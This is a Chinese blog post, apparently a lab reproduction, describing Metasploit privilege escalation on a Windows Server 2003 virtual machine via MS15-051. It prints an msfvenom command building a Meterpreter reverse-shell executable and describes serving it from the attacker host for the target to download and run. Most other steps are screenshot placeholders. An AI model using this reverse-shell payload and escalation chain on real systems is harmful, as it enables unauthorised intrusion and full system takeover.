Metasploit利用ms15-051漏洞进行权限提权

最新推荐文章于 2023-06-05 18:15:29 发布

归去来兮-zangcc

最新推荐文章于 2023-06-05 18:15:29 发布

阅读量3.6k

点赞数 3

分类专栏：渗透测试工具 windows漏洞复现文章标签：安全漏洞渗透测试 windows 网络安全安全

本文链接：https://blog.csdn.net/weixin_43847838/article/details/115358473

版权

渗透测试工具同时被 2 个专栏收录

29 篇文章 39 订阅

订阅专栏

windows漏洞复现

1 篇文章 1 订阅

订阅专栏

该博客详细记录了一次使用Metasploit框架针对WindowServer2003的ms15-051漏洞进行权限提升的实战过程。从生成木马文件、上传到靶机、设置payload、启动服务，到最后成功获取system权限，每一步都清晰呈现。实验中，攻击者通过靶机访问特定网址下载并运行木马，最终实现从administrator权限到system权限的提权。

摘要由CSDN通过智能技术生成

Metasploit利用ms15-051漏洞进行权限提权

实验环境

虚拟机：kali-linux（攻击机）
192.168.18.142
在这里插入图片描述 window server 2003（靶机）
192.168.18.146

工具：Metasploit
步骤：

1、生成木马文件：

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.18.142 lport=4444 -f exe -o /root/shell.exe

在这里插入图片描述

2、服务器网站目录上创建个shell文件夹，放置木马文件

复制到网站目录
在这里插入图片描述

3、使用handler模块

在这里插入图片描述

4.设置payload

在这里插入图片描述

5、exploit开始攻击，等待靶机木马连接

在这里插入图片描述

6.启动xampp服务（使靶机可以连上攻击机并运行木马文件）

在这里插入图片描述

7、切换到靶机访问 ”http://192.168.18.142/shell” 下载运行木马

在这里插入图片描述

8、攻击机成功获取到靶机的shell，使用 “getuid”查看为administrator权限

在这里插入图片描述

9、使用ms15-051漏洞，进一步获取system最高权限

在这里插入图片描述

10、设置payload，设置payload参数

在这里插入图片描述

11、输入“run”攻击成功，使用“getuid”查看已是system用户

在这里插入图片描述

12、提权成功

在这里插入图片描述

本站所有文章均为原创，欢迎转载，请注明文章出处： https://blog.csdn.net/weixin_43847838/article/details/115358473.。百度和各类采集站皆不可信，搜索请谨慎鉴别。技术类文章一般都有时效性，本人习惯不定期对自己的博文进行修正和更新，因此请访问出处以查看本文的最新版本。